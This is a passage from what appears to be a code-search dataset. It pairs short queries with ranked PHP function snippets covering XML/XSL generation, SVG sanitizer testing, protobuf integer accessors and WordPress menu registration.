FALSE;\n\t\t}\n\t\t$URLs = array_filter($URLs);\n\n\t\t// Re-order URLs so those with explicit labels appear at the beginning.\n\t\tusort($URLs, Array($this, \"URLSort\"));\n\t}\n\t\n\treturn $URLs;\n}", "title": "" }, { "docid": "9aa00ebf410c09c1a8b987b64e3c447b", "score": "0.39631143", "text": "public function syncLinkTracking()\n {\n if (!$this->Children()) {\n $this->HasBrokenLink = true;\n }\n }", "title": "" }, { "docid": "f1267941de69216a5f0847529ec5c72f", "score": "0.39573866", "text": "function documentFinish() {\n $this->xmlWriter->endElement();\n $this->xmlWriter->endDocument();\n }", "title": "" }, { "docid": "e4edfd2bf360d6d5e31fec3530d89248", "score": "0.3956301", "text": "function c_attribute(){\n\t// files open\n\t$file1 = fopen(\"E:/xampp/tomcat/webapps/pro_b/static/xml/fiction_tag.xml\", \"r\");\n\t$file2 = fopen(\"E:/xampp/tomcat/webapps/pro_b/static/xsl/fiction_attribute.xsl\", \"w\");\t\n\n\t// xsl header\n\t$header = file_get_contents(\"E:/xampp/tomcat/webapps/pro_b/xsl/fiction_h.xsl\", \"r\");\n\t$header .= PHP_EOL.PHP_EOL;\t\n\n\t// above part is hard coding for \"<attribute>\" tag\n\n\tfputs($file2, $header);\t\n\n\twhile (!feof($file1)) {\n\n\t\t$str = fgets($file1);\n\n\t\tif ((strpos($str, \"<tag>\")===false)) {\n\t\t\tcontinue;\n\t\t}\t\n\n\t\tif (!(strpos($str, \"<book>\")===false)) {\n\t\t\t$str = \"book\";\n\t\t}\t\t\n\t\tif (!(strpos($str, \"</book>\")===false)) {\n\t\t\tcontinue;\n\t\t}\n\n\t\t$str = strip_tags($str);\n\n\t\t$str = trim($str);\n\n\t\t$str = \"<xsl:attribute-set name= '\".$str.\"'>\".PHP_EOL;\n\n\t\t$str .=\"</xsl:attribute-set>\".PHP_EOL.PHP_EOL; \n\n\n\t\tfputs($file2, $str);\n\n\t}\t\n\n/////////////////// special tags; chapter-ref, section-ref\n\t\t$str = \"<xsl:attribute-set name= 'chapter-ref'>\".PHP_EOL;\n\n\t\t$str .=\"</xsl:attribute-set>\".PHP_EOL.PHP_EOL; \n\n\t\t$str .= \"<xsl:attribute-set name= 'section-ref'>\".PHP_EOL;\n\n\t\t$str .=\"</xsl:attribute-set>\".PHP_EOL.PHP_EOL; \t\n\t\tfputs($file2, $str);\t\t\t\n//////////////////////////\t\n\n\tfputs($file2, \"</xsl:stylesheet>\");\t\t\t\n\n\t//file close. \n\tfclose($file1);\n\tfclose($file2);\t\t\n}", "title": "" }, { "docid": "1572060f5cbf2eab44d0eaf541a02b00", "score": "0.39544627", "text": "public function testSanitizeExternal()\n {\n $dataDirectory = __DIR__ . '/data';\n $initialData = file_get_contents($dataDirectory . '/externalTest.svg');\n $expected = file_get_contents($dataDirectory . '/externalClean.svg');\n\n $this->class->removeRemoteReferences(true);\n $cleanData = $this->class->sanitize($initialData);\n $this->class->removeRemoteReferences(false);\n\n $this->assertXmlStringEqualsXmlString($expected, $cleanData);\n }", "title": "" }, { "docid": "ad2df2bb611894a1cc5813973622d4bc", "score": "0.39543945", "text": "function init($file) {\n $doc = new DOMDocument('1.0', 'utf-8');\n @$doc->load($file, LIBXML_DTDLOAD|LIBXML_DTDATTR);\n\n $xpath = new DOMXPath($doc);\n $xsl = new DOMDocument;\n $xsl->load('application/pm/xsl/simple.xsl');\n\n $proc = new XSLTProcessor();\n $proc->importStyleSheet($xsl);\n $this->as_html = $proc->transformToXML($doc);\n\n // issue-model uses replaceNLMmarkup function, but should probably do a transform if possible\n // $this->title = node_lookup($doc,'article-title');\n $title_nodes = $doc->getElementsByTagName('article-title');\n $this->title = get_node_innerhtml($title_nodes->item(0));\n $pub_id = $xpath->query(\"/article/front/article-meta/article-id[@pub-id-type='publisher-id']\");\n $this->pub_id = ($pub_id->length > 0) ? $pub_id->item(0)->nodeValue : null;\n $doi = $xpath->query(\"/article/front/article-meta/article-id[@pub-id-type='doi']\");\n $this->doi = ($doi->length > 0) ? $doi->item(0)->nodeValue : null;\n \n\n $this->fpage = node_lookup($doc,'fpage');\n $this->seq = node_lookup($doc, 'fpage', 'seq');\n $this->lpage = node_lookup($doc,'lpage');\n $this->elocation_id = node_lookup($doc, 'elocation-id');\n\n $syndication = $xpath->query(\"/article/front/article-meta/custom-meta-wrap/custom-meta/meta-value[preceding-sibling::meta-name='syndication']\");\n $this->syndication = ($syndication->length > 0) ? false : true;\n $editor = $xpath->query(\"/article/front/article-meta/custom-meta-wrap/custom-meta/meta-value[preceding-sibling::meta-name='Editor']\");\n $this->editor = ($editor->length > 0) ? $editor->item(0)->nodeValue : null;\n\n $pubdates = $doc->getElementsByTagName('pub-date');\n foreach ($pubdates as $pubdate) {\n $pubtype = node_lookup($pubdate->parentNode, 'pub-date', 'pub-type');\n $pubyear = node_lookup($pubdate, 'year');\n $pubmonth = node_lookup($pubdate, 'month');\n $pubday = node_lookup($pubdate, 'day');\n $this->pub_dates[$pubtype] = date(SCI_ISSUE_DATE, strtotime($pubmonth.\"/\".$pubday.\"/\".$pubyear));\n }\n\n $abstracts = $doc->getElementsByTagName('abstract');\n foreach ($abstracts as $abstract) {\n $abstype = $abstract->getAttribute('abstract-type');\n $abstype = (($abstype)) ? $abstype : true;\n //$title_nodes = $doc->getElementsByTagName('article-title');\n //$this->title = get_node_innerhtml($title_nodes->item(0));\n $abs = get_node_innerhtml($abstract);\n $this->abstracts[$abstype] = $abs;\n }\n\n $subgroups = $doc->getElementsByTagName('subj-group');\n if ($subgroups) {\n foreach($subgroups as $subgroup) {\n $type = (strtolower(trim($subgroup->getAttribute('subj-group-type'))));\n $value = node_lookup($subgroup, 'subject');\n\n switch($type) {\n case 'article-type':\n $this->article_type = $value;\n if (strrpos($value, 'Special Issue')!== false) {\n $this->is_special_issue = true;\n }\n break;\n case 'heading':\n $this->heading = $value;\n break;\n case 'overline':\n $this->overline = $value;\n break;\t\t\t\t\t\t\n case 'field':\n $this->fields[] = $value;\n break;\t\t\t\t\t\n }\n }\n }\n\n $author_metadata = array();\n $authors = $doc->getElementsByTagName('contrib');\n foreach($authors as $author) {\n $author_metadata[] = array(\n 'type' => $author->getAttribute('contrib-type'),\n 'name' => array(\n 'surname' => node_lookup($author, 'surname'),\n 'given-names' => node_lookup($author, 'given-names')\n )\n );\n }\n if (count($author_metadata) > 0) {\n $this->authors = json_encode($author_metadata);\n } \n\n \n }", "title": "" } ]
18107bea9ee3824dd2b76413120b8535
Generated from protobuf field int64 num = 13;
[ { "docid": "7b9c0cf8950b296323b9ff3d186511be", "score": "0.639412", "text": "public function setNum($var)\n {\n GPBUtil::checkInt64($var);\n $this->num = $var;\n\n return $this;\n }", "title": "" } ]
[ { "docid": "a05f148dfd9c42f6d77a47c3a9f34f05", "score": "0.6365868", "text": "public function writeInt64(int $value): int;", "title": "" }, { "docid": "9c8c99fc8a0b4225ac5ec73ef887c2a3", "score": "0.62024975", "text": "public function getInt64Field()\n {\n return $this->get(self::INT64_FIELD);\n }", "title": "" }, { "docid": "52e08a46a61b8020394b4791612f1d8d", "score": "0.6150803", "text": "public function getInt64Field()\n {\n return $this->int64_field;\n }", "title": "" }, { "docid": "76fbf34fc1dd3633c873513cf69089f2", "score": "0.6013925", "text": "public function getInt64Value()\n {\n return isset($this->int64_value) ? $this->int64_value : 0;\n }", "title": "" }, { "docid": "17a57325ac8530e594b8c5c9115a2461", "score": "0.57557684", "text": "function testInt64()\n\t{\n\t\t$bigInt = $this->sqlmap->queryForObject(\"GetInt64\", 1);\n\t\t$this->assertIdentical(9223372036854775800, $bigInt);\n\t}", "title": "" }, { "docid": "2f423ffa0d05a1d6cf87514e79676585", "score": "0.5747064", "text": "public function setNumber($var)\n {\n GPBUtil::checkUint64($var);\n $this->number = $var;\n\n return $this;\n }", "title": "" }, { "docid": "8f0496ffa0dbedbee6d92b7294625d78", "score": "0.57033384", "text": "public function getRawNumber();", "title": "" }, { "docid": "28833faf799be7925ec016a6e902e28f", "score": "0.56559485", "text": "public function value(): BigInteger\n {\n return Hex::of($this->raw())->toInteger();\n }", "title": "" }, { "docid": "ecd3063f4e2f9d008f5dfff74efc86e8", "score": "0.56354934", "text": "function get_num(bool $strict=false): string { return $this->num; }", "title": "" }, { "docid": "e3ad8da53f9b869f36d922e85b7d36af", "score": "0.5595981", "text": "public function getUint64Field()\n {\n return $this->uint64_field;\n }", "title": "" }, { "docid": "8f1d9244d14555309dfcb90b5f9793b4", "score": "0.5500354", "text": "public function writeUint64(int $value): int;", "title": "" }, { "docid": "d88dc076f5e32a72deae6fc9b3b61e76", "score": "0.549113", "text": "public function testSerializeLongNumber()\n {\n $serializer = Serializer::getInstance();\n $one = $serializer->serializeLong(1);\n $two = $serializer->serializeLong(2);\n $hundred = $serializer->serializeLong(100);\n $twoHundred = $serializer->serializeLong(256);\n $thousand = $serializer->serializeLong(1000);\n $tenThousand = $serializer->serializeLong(10000);\n $maxMosaic = $serializer->serializeLong(9000000000);\n\n $expectOne = [1, 0, 0, 0, 0, 0, 0, 0];\n $expectTwo = [2, 0, 0, 0, 0, 0, 0, 0];\n $expectHundred = [100, 0, 0, 0, 0, 0, 0, 0];\n $expectTwoHundred = [0, 1, 0, 0, 0, 0, 0, 0];\n $expectThousand = [232, 3, 0, 0, 0, 0, 0, 0];\n $expectTenThousand = [16, 39, 0, 0, 0, 0, 0, 0];\n $expectMaxMosaic = [0, 26, 113, 24, 2, 0, 0, 0];\n\n $this->assertEquals(json_encode($expectOne), json_encode($one));\n $this->assertEquals(json_encode($expectTwo), json_encode($two));\n $this->assertEquals(json_encode($expectHundred), json_encode($hundred));\n $this->assertEquals(json_encode($expectTwoHundred), json_encode($twoHundred));\n $this->assertEquals(json_encode($expectThousand), json_encode($thousand));\n $this->assertEquals(json_encode($expectTenThousand), json_encode($tenThousand));\n $this->assertEquals(json_encode($expectMaxMosaic), json_encode($maxMosaic));\n }", "title": "" }, { "docid": "a597cf5eba55fe2a1820d705a5d2ea03", "score": "0.54858124", "text": "public function getUint64Field()\n {\n return $this->get(self::UINT64_FIELD);\n }", "title": "" }, { "docid": "007930839d1b09d6c6e20a7f7ecd7056", "score": "0.5475183", "text": "public function get_number() { return 0; }", "title": "" }, { "docid": "68a39c5251f5eebc2c9d5362359585c0", "score": "0.5427702", "text": "public function setInt64Field($value)\n {\n return $this->set(self::INT64_FIELD, $value);\n }", "title": "" }, { "docid": "92657d65b1dd27a1cd4cb8b46226aa20", "score": "0.5415843", "text": "public function getSint64Field()\n {\n return $this->sint64_field;\n }", "title": "" }, { "docid": "8febf698083d04430b61b740c2ecf272", "score": "0.5404745", "text": "public static function fromBytes($bytes): IBigInt\r\n {\r\n }", "title": "" }, { "docid": "3ba046098cf83a301c8dfc0f3dd6e4d7", "score": "0.54015076", "text": "public function readInt64BE(){\n /*if ($this->_isLittleEndian())\n return $this->_fromInt64(strrev($this->read(8)));\n else\n return $this->_fromInt64($this->read(8));\n */\n list(, $hihi, $hilo, $lohi, $lolo) = unpack('n*', $this->read(8));\n return ($hihi * (0xffff+1) + $hilo) * (0xffffffff+1) +\n ($lohi * (0xffff+1) + $lolo);\n }", "title": "" }, { "docid": "7fe0aea87618345cfcb03d49ea330c6a", "score": "0.53698", "text": "public static function useBigIntAsString(): int\n {\n return JSON_BIGINT_AS_STRING;\n }", "title": "" }, { "docid": "5c9f9373eb134edec3fb6dafd0911bb1", "score": "0.5362508", "text": "public function getNumber();", "title": "" }, { "docid": "839a4145de11965a750a4b3467679cba", "score": "0.5360762", "text": "public function readInt64(){\n if ($this->_isLittleEndian())\n return $this->readInt64LE();\n else\n return $this->readInt64BE();\n }", "title": "" }, { "docid": "86f1cad09f72b61bf603e105a7dc8568", "score": "0.535875", "text": "public function getDataType()\n {\n return DField::DATA_TYPE_BIGINT;\n }", "title": "" }, { "docid": "42dd28673b74492203f1c89746f99a98", "score": "0.5332667", "text": "public function getNum(){return $this->num;}", "title": "" }, { "docid": "a1d4fc217c5b4af4e073a6b1052bcf68", "score": "0.5328716", "text": "public static function randomUnsignedInt64() : int\n {\n return self::randomUnsignedInt32();\n }", "title": "" }, { "docid": "7778be5597a28f6f5f2839a0bb321ba3", "score": "0.5297422", "text": "function extractNumber()\n {\n $y = $this->MT[$this->i];\n $y = $this->mysql_math(\"$y ^ ($y >>11) ^ (($y << 7) & 2636928640) ^ (($y << 15) & 4022730752) ^ ($y >>18)\");\n $this->i ++;\n return $y / 0xffffffff;\n }", "title": "" }, { "docid": "9e44d95aed1408d4023f76f2e41b6365", "score": "0.52973324", "text": "public function getFInt64()\n {\n return $this->f_int64;\n }", "title": "" }, { "docid": "d49d5b526dc4729a529b14ab4814c6f4", "score": "0.52309805", "text": "public function getSint64Field()\n {\n return $this->get(self::SINT64_FIELD);\n }", "title": "" }, { "docid": "cf74402f83eba3f85f1a6c100411149d", "score": "0.522146", "text": "public function getFixed64Field()\n {\n return $this->get(self::FIXED64_FIELD);\n }", "title": "" }, { "docid": "c6bff293849b704eae0d19c046293d1e", "score": "0.5220825", "text": "public function getFixed64Field()\n {\n return $this->fixed64_field;\n }", "title": "" }, { "docid": "34e56527fde737b611e111ca1dd19639", "score": "0.5183413", "text": "public function toBSONType()\n {\n return (int) $this->value;\n }", "title": "" }, { "docid": "5cbd5cd628bf0c34158479801a185152", "score": "0.5175313", "text": "function readNumber() {\r\n return $this->inputStream->readDouble(); // grab the binary representation of the number\r\n }", "title": "" }, { "docid": "903ea7d5e9f18002fbb0bc7bfb76d5f5", "score": "0.5170113", "text": "function getNumber($num) { /* and finally this function is returning the complete sim number */\n\t\t\t\t\treturn $GLOBALS['sim_code'] . $GLOBALS['package_no'] . str_pad($num, 6, '0', STR_PAD_LEFT);\n\t\t\t\t\t/*\n\t\t\t\t\t as mentioned above $GLOBALS['sim_code'] = 017 and $GLOBALS['package_no']=3500 \n\t\t\t\t\t and again str_pad is giving another six digit after package \n\t\t\t\t\t so the scenario of this function sort of like this \n\t\t\t\t\t 01735000000\n\n\t\t\t\t\t */\n\t\t\t\t}", "title": "" }, { "docid": "0081fae4e449339a01bdbf51c72c7b65", "score": "0.516795", "text": "public function getNumber(): int;", "title": "" }, { "docid": "4b4442401311d2aebe716080563d4b26", "score": "0.5164551", "text": "public function readUint64(){\n return $this->_fromUint64($this->read(8));\n }", "title": "" }, { "docid": "d5d4df98e4d1908869476232c53d29b9", "score": "0.5161973", "text": "public function readUint64BE(){\n return $this->_fromUInt64($this->read(8),self::BIG_ENDIAN);\n }", "title": "" }, { "docid": "9801978f7d3abd79b136c0d6bbb41b95", "score": "0.51595104", "text": "public function get_numeric_message_code(){\n\t\treturn $this->code;\n\t}", "title": "" }, { "docid": "7da09437c29621eced70acacb2bf0a0c", "score": "0.5159257", "text": "public function readInt64LE(){\n /*if ($this->_isBigEndian())\n return $this->_fromInt64(strrev($this->read(8)));\n else\n return $this->_fromInt64($this->read(8));*/\n list(, $lolo, $lohi, $hilo, $hihi) = unpack('v*', $this->read(8));\n return ($hihi * (0xffff+1) + $hilo) * (0xffffffff+1) +\n ($lohi * (0xffff+1) + $lolo);\n }", "title": "" }, { "docid": "a989562222ea3286b7cc8c0a595ea1ea", "score": "0.5142046", "text": "public function getFixed64PackedField()\n {\n return $this->fixed64_packed_field;\n }", "title": "" }, { "docid": "9d08b533ee065ea6d7d5f0259568ea89", "score": "0.51397085", "text": "public function getNumericCode(): string\n {\n return $this->numericCode;\n }", "title": "" }, { "docid": "dc90f1bec35d3eb6901b623582980cb5", "score": "0.51305366", "text": "function autogenNumber()\n\t{\n\t\t$id_length = 60;\n\t\t$alfa = \"abcdefghijklmnopqrstuvwxyz1234567890\";\n\t\t$token = \"\";\n\t\tfor($i = 1; $i < $id_length; $i ++) {\n\t\t\t@$token .= $alfa[rand(1, strlen($alfa))];\n\t\t} \n\t\treturn $token;\n\t}", "title": "" }, { "docid": "6f906a936d4e60bffb5f3de0165b203a", "score": "0.51087546", "text": "public function asInt() {}", "title": "" }, { "docid": "0e737c41a0d725a03cea996936f24a4f", "score": "0.50615436", "text": "public function getNum(){\r\n return $this->num;\r\n }", "title": "" }, { "docid": "114de046e8ae3bd61cfcce783f590078", "score": "0.5061096", "text": "function get_num(bool $strict=false): string {\r\n $n = parent::get_num();\r\n return ($strict) ? $n : $this->prefix_num($n); \r\n }", "title": "" }, { "docid": "481d8907f9117dd5aad9622432c1ed65", "score": "0.5039358", "text": "public function setInt64Field($value)\n {\n GPBUtil::checkInt64($value);\n $this->int64_field = $value;\n return $this;\n }", "title": "" }, { "docid": "6229d8709f0a1669d626d74dd63500dd", "score": "0.5017881", "text": "public function numericIdentifier();", "title": "" }, { "docid": "6c6faa795ffaffb591293391dbe41b17", "score": "0.50039893", "text": "public function asInteger() {}", "title": "" }, { "docid": "9adc854506e609d0c55387f48e479ea7", "score": "0.5000131", "text": "public function setIntValue($var)\n {\n GPBUtil::checkInt64($var);\n $this->writeOneof(3, $var);\n\n return $this;\n }", "title": "" }, { "docid": "f857fdb887f4a0f26d448f4bc2525511", "score": "0.49829543", "text": "function writeInt($value);", "title": "" }, { "docid": "9f5cbab368f2903da29dd8cc17c229a4", "score": "0.4949893", "text": "public function getInt32Field()\n {\n return $this->get(self::INT32_FIELD);\n }", "title": "" }, { "docid": "ddc495aa8be9f18b041fc85eadde55de", "score": "0.49441707", "text": "private function numeric($id) {\n\t\tif ($id = intval(preg_replace('/^message:/', '', $id)))\n\t\t\treturn $id;\n\t}", "title": "" }, { "docid": "a766b76f7fa7aadb799f3d7f8a121c63", "score": "0.49319464", "text": "function testInt64WithoutResultClass()\n\t{\n\t\t$bigInt = $this->sqlmap->queryForObject(\"GetInt64WithoutResultClass\", 1);\n\t\t$this->assertIdentical(9223372036854775800, (double)$bigInt);\n\t}", "title": "" }, { "docid": "a19f4e3bd7ce6b134b94599324b8af07", "score": "0.49225557", "text": "public function getRxNo()\n {\n $mid = DB::table('pmpresmedicines')->max('id') + 1;\n\n $t = Carbon::now();\n $m = $t->month;\n\n $y = $t->year;\n\n $d = $t->day;\n\n $id = '' . $y;\n if ($m < 10) {\n $id .= '0';\n }\n $id .= $m;\n\n if ($d < 10) {\n $id .= '0';\n }\n $id .= $d;\n $b = '';\n if ($mid < 10) {\n $b = '00000';\n } elseif ($mid < 100) {\n $b = '0000';\n } elseif ($mid < 1000) {\n $b = '000';\n } elseif ($mid < 10000) {\n $b = '00';\n } elseif ($mid < 100000) {\n $b = '0';\n }\n $id .= $b . $mid;\n return $id;\n }", "title": "" }, { "docid": "6e55e7743d698e62ad6d03d1ce2c8792", "score": "0.4917837", "text": "function generateNumbers()\n {\n for ($i = 0; $i < 624; $i ++) {\n $y = $this->mysql_math('(' . $this->MT[$i] . ' & 0x7fffffff) + (' . $this->MT[($i + 1) % 624] . ' & 0xfffffffe)');\n $even = $this->mysql_math($y . ' ^ 0x00000001');\n if ($even) {\n $this->MT[$i] = $this->mysql_math($this->MT[($i + 397) % 624] . \" ^ ($y >> 1)\");\n } else {\n $this->MT[$i] = $this->mysql_math($this->MT[($i + 397) % 624] . \" ^ ($y >>1) ^ (2567483615)\"); // 0x9908b0df\n }\n }\n }", "title": "" }, { "docid": "0b106272b4fbae815549ef9ff8cdbc1d", "score": "0.49149212", "text": "public function readUint64LE(){\n return $this->_fromUInt64($this->read(8),self::LITTLE_ENDIAN);\n }", "title": "" }, { "docid": "38a8a3911fef85e9c882d58497275a19", "score": "0.49139372", "text": "public function getDictNumero()\n {\n return $this->dict_numero;\n }", "title": "" }, { "docid": "38ea6972b5457c1c44e90c0e91780bed", "score": "0.49120688", "text": "public function int()\n {\n return $this->value;\n }", "title": "" }, { "docid": "1aadca72934a158b147fe10edfe9d3fd", "score": "0.49035484", "text": "protected function base64_integer($str)\n {\n if(strlen($str) != 8) return 0;\n return ((strpos($this->_base64,$str{0}) << 26)|\n (strpos($this->_base64,$str{1}) << 20)|\n (strpos($this->_base64,$str{2}) << 14)|\n (strpos($this->_base64,$str{3}) << 8) |\n (strpos($this->_base64,$str{4}) << 2) |\n (strpos($this->_base64,$str{5}) >> 4));\n }", "title": "" }, { "docid": "5af31ad5848cc61194b7f152cf6c9b71", "score": "0.48864564", "text": "public function createNum(int $num = null): int\n {\n $mode = $this->blueprint()->num();\n\n switch ($mode) {\n case 'zero':\n return 0;\n case 'date':\n case 'datetime':\n $format = $mode === 'date' ? 'Ymd' : 'YmdHi';\n $lang = $this->kirby()->defaultLanguage() ?? null;\n $field = $this->content($lang)->get('date');\n $date = $field->isEmpty() ? 'now' : $field;\n // TODO: in 3.6.0 throw an error if date() doesn't\n // return a number, see https://github.com/getkirby/kirby/pull/3061#discussion_r552783943\n return (int)date($format, strtotime($date));\n break;\n case 'default':\n\n $max = $this\n ->parentModel()\n ->children()\n ->listed()\n ->merge($this)\n ->count();\n\n // default positioning at the end\n if ($num === null) {\n $num = $max;\n }\n\n // avoid zeros or negative numbers\n if ($num < 1) {\n return 1;\n }\n\n // avoid higher numbers than possible\n if ($num > $max) {\n return $max;\n }\n\n return $num;\n default:\n // get instance with default language\n $app = $this->kirby()->clone([], false);\n $app->setCurrentLanguage();\n\n $template = Str::template($mode, [\n 'kirby' => $app,\n 'page' => $app->page($this->id()),\n 'site' => $app->site(),\n ], '');\n\n return (int)$template;\n }\n }", "title": "" }, { "docid": "d01bffc5db3109abf250ee2d913ef389", "score": "0.48790708", "text": "public function setInt64Value($var)\n {\n GPBUtil::checkInt64($var);\n $this->int64_value = $var;\n\n return $this;\n }", "title": "" }, { "docid": "52d4b10c4176e93fd91a8682e110e08a", "score": "0.48718068", "text": "private static function GenInt()\n {\n list($usec, $sec) = explode(' ', microtime());\n \n return str_replace('.','',((float)$sec.(float)$usec));\n }", "title": "" }, { "docid": "457762be1b9b9a58fdee853248121192", "score": "0.48689958", "text": "private function generateCode()\n {\n $prefix = $this->getPrefix();\n $lastRecord = $this->getLastRecord($prefix);\n if (!$lastRecord) {\n $number = 0;\n } else {\n $number = preg_replace('/\\D/', '', $lastRecord->getAttribute($this->getCodeColumn()));\n }\n return $prefix . sprintf('%07d', intval($number) + 1);\n }", "title": "" }, { "docid": "b2a04f6cfc16777445ed4dbb6b8e30f4", "score": "0.48676988", "text": "public function get() {\n return $this->_num;\n }", "title": "" }, { "docid": "caddbe12ab7edfc0d06c9bdee0f1f928", "score": "0.4866217", "text": "public function getInt32Field()\n {\n return $this->int32_field;\n }", "title": "" }, { "docid": "3cc7d90d3798c6ab0e211e56120ee4f2", "score": "0.48526263", "text": "function auto_num($id){\r\n\t\t$get_str = substr($id, 0, 4);\r\n\t\t$get_num = intval(substr($id, strpos($id,'-')+1, strlen($id)));\r\n\t\t$inc = $get_num+1;\r\n\t\treturn $ID = $get_str . str_pad($inc,4,\"0\",str_to_left);\r\n\t}", "title": "" }, { "docid": "7c792829d668268a8ba6e36051ff7930", "score": "0.48520172", "text": "public function num()\n {\n }", "title": "" }, { "docid": "af9cf00716b48248f0197e0f76e5201f", "score": "0.48459116", "text": "public function getNumber(): int\n {\n return $this->number;\n }", "title": "" }, { "docid": "9bf23bf0d43121d204fbd5d4b4bf9665", "score": "0.48224935", "text": "public function getNumber(): string\n {\n return $this->number;\n }", "title": "" }, { "docid": "023c6b4271a09362f692b0c98554342a", "score": "0.4821928", "text": "public function encodeInteger($value);", "title": "" }, { "docid": "c8386ae8d93c4077904696b6cdcc2d9e", "score": "0.4815809", "text": "private function gene_phone_number()\n {\n $_number = '1';\n for ($i = 0; $i < 10; $i++) {\n $_number .= random_int(0,9);\n }\n return $_number;\n }", "title": "" }, { "docid": "be6c98f2774658943002051ce1bd4a08", "score": "0.4815509", "text": "public function get_number() {\n\t\treturn $this->number;\n\t}", "title": "" }, { "docid": "be6c98f2774658943002051ce1bd4a08", "score": "0.4815509", "text": "public function get_number() {\n\t\treturn $this->number;\n\t}", "title": "" }, { "docid": "190573c7a41671537e9bc4879c4c600c", "score": "0.48121053", "text": "public static function generateNumber()\n {\n return '';\n }", "title": "" }, { "docid": "561c5e6f6a64d75023866877a9dd53d4", "score": "0.4800493", "text": "public function readLong(): int\n {\n return $this->unpack('J', $this->read(8));\n }", "title": "" }, { "docid": "7769b25b048a310e020e3141b63db625", "score": "0.47897983", "text": "public function big();", "title": "" }, { "docid": "af80a952b1367d530a0064c1e3dfacda", "score": "0.47828212", "text": "public function convert($num)\n {\n return $num;\n }", "title": "" }, { "docid": "f58f5965d95f05933e2aed5cee18fa17", "score": "0.47822905", "text": "static public function NUMBER(\n\n string $id = null\n ,string $class = null\n ,array|string $attr = null\n \n )\n {\n\n return Parent::HtmlELements_Optimizer(\n \n \"INLINE\",\n 'input', \n $attr = HTML::FORMTYPE( $attr, 'type', 'number' ) , \n $id, \n $class, \n METHOD_ASSOC\n \n );\n \n }", "title": "" }, { "docid": "edb315c32d2a339611337af1e90d4ed5", "score": "0.47804615", "text": "protected function typeInteger(Magic $column)\n {\n return ($column->increment) ? 'SERIAL' : 'BIGINT';\n }", "title": "" }, { "docid": "0fd8e240c56555193d68f9d7b0e3165f", "score": "0.47790325", "text": "public function generatePONumber(){\n $this->po_no = 'PO-' . str_pad(auth()->id(), 4, '0', STR_PAD_LEFT) . time();\n }", "title": "" }, { "docid": "e1f839b91834c64b68d58ecab00efe23", "score": "0.47785246", "text": "public function setUint64Field($value)\n {\n return $this->set(self::UINT64_FIELD, $value);\n }", "title": "" }, { "docid": "c4ad7cf41706190de28afeb8e08f12f2", "score": "0.47762778", "text": "public function getNum()\r\n {\r\n return $this->num;\r\n }", "title": "" }, { "docid": "cdfbe2e0b430b5e3213b102ae3e874c7", "score": "0.47713313", "text": "function GetRequestNumData($str=NULL)\n {\n return intval($str);\n }", "title": "" }, { "docid": "edf3e24c57004253b698f8f12f5bf36d", "score": "0.47664496", "text": "public function testI64($thing);", "title": "" }, { "docid": "1f8f3a84657a9d5702f4ee9d03fb9784", "score": "0.47654793", "text": "#[@test]\n public function representationOfLongs() {\n $this->assertEquals('l:6100;', $this->serializer->representationOf(new Long(6100)));\n $this->assertEquals('l:-6100;', $this->serializer->representationOf(new Long(-6100)));\n }", "title": "" }, { "docid": "4cd29c4cabc273ab52d87af3b55da06c", "score": "0.47631374", "text": "public function get_number()\n\t{\n\t\treturn $this->number;\n\t}", "title": "" }, { "docid": "c9504cc89ef09d420c55c860ff06343f", "score": "0.4755492", "text": "public function toInt()\n {\n return $this->intData;\n }", "title": "" }, { "docid": "c532608425918632bf188ac781eaac68", "score": "0.47448528", "text": "#[@test]\n public function valueOfLong() {\n $this->assertEquals(\n new Long(12345),\n $this->serializer->valueOf(new SerializedData('l:12345;'))\n );\n }", "title": "" }, { "docid": "a3b328b215922cc80a2843ca76b5d0e6", "score": "0.47429046", "text": "public function getInteger()\n {\n return $this->data->getInteger();\n }", "title": "" }, { "docid": "53159e84c810f18e619d14d5e0f102de", "score": "0.4735087", "text": "public function writterNumber($value, $type)\n {\n return \\Tools\\Utility\\WrittenNumber::number($value, $type);\n }", "title": "" }, { "docid": "80e2a2fc276d858899e3045e6ab55b36", "score": "0.4727852", "text": "public function generateUniqueNumber()\n {\n $this->number = str_replace('.', '-', uniqid('01-', true));\n }", "title": "" }, { "docid": "25c929f689a19bba64a5a5bb891ca0fd", "score": "0.47143945", "text": "public function getNum()\n {\n $value = $this->get(self::num);\n return $value === null ? (integer)$value : $value;\n }", "title": "" }, { "docid": "543ee8057ba84d48ca3fe372edf27ae9", "score": "0.47089303", "text": "public function getFSint64()\n {\n return $this->f_sint64;\n }", "title": "" }, { "docid": "e3983d9e2360ac12cdffb9564d321333", "score": "0.47079247", "text": "public function getNumericId(): int\n {\n $hashId = $this->getId();\n $id = (int) substr(preg_replace('/[a-z]+/', '', $hashId), 0, 9);\n $letters = preg_replace('/[0-9]+/', '', $hashId);\n for ($i = 0, $length = strlen($letters); $i < $length; $i++) {\n $id += ord($letters[$i]) - 97;\n }\n return $id;\n }", "title": "" }, { "docid": "ae2b4dd8d202be5e51a71f0c9f02c0e4", "score": "0.47075942", "text": "function time(): int\n{\n return 1603707356;\n}", "title": "" }, { "docid": "abab34b76207adb82bf43c121626a313", "score": "0.47062227", "text": "public function getInteger( $attr );", "title": "" }, { "docid": "03fb8a3a4e6d8b02cf624ee97435225a", "score": "0.46909213", "text": "public function writeInt32(int $value): int;", "title": "" }, { "docid": "b4b2a35e959761ab0fe8f0c6b03fc8c1", "score": "0.46902692", "text": "public function getMilliMicro() : int\n {\n return (int)$this->format('u');\n }", "title": "" }, { "docid": "ac5f59bbf64573d53af1a981303833e9", "score": "0.46899903", "text": "public function writeInt(int $value): int;", "title": "" }, { "docid": "ded0d196f94970d19010b1c25362a412", "score": "0.468985", "text": "public function getNum()\n {\n return $this->num;\n }", "title": "" }, { "docid": "ded0d196f94970d19010b1c25362a412", "score": "0.468985", "text": "public function getNum()\n {\n return $this->num;\n }", "title": "" } ]
c14178be53b819108b00a3d3e4d4002c
need some menu Register Navigation Menus
[ { "docid": "b6a67075b4df30bd7d7d16efa6751988", "score": "0.741039", "text": "function custom_navigation_menus() {\n\n\t$locations = array(\n\t\t'header-menu' => 'menu en tete',\n\t);\n\tregister_nav_menus( $locations );\n\n}", "title": "" } ]
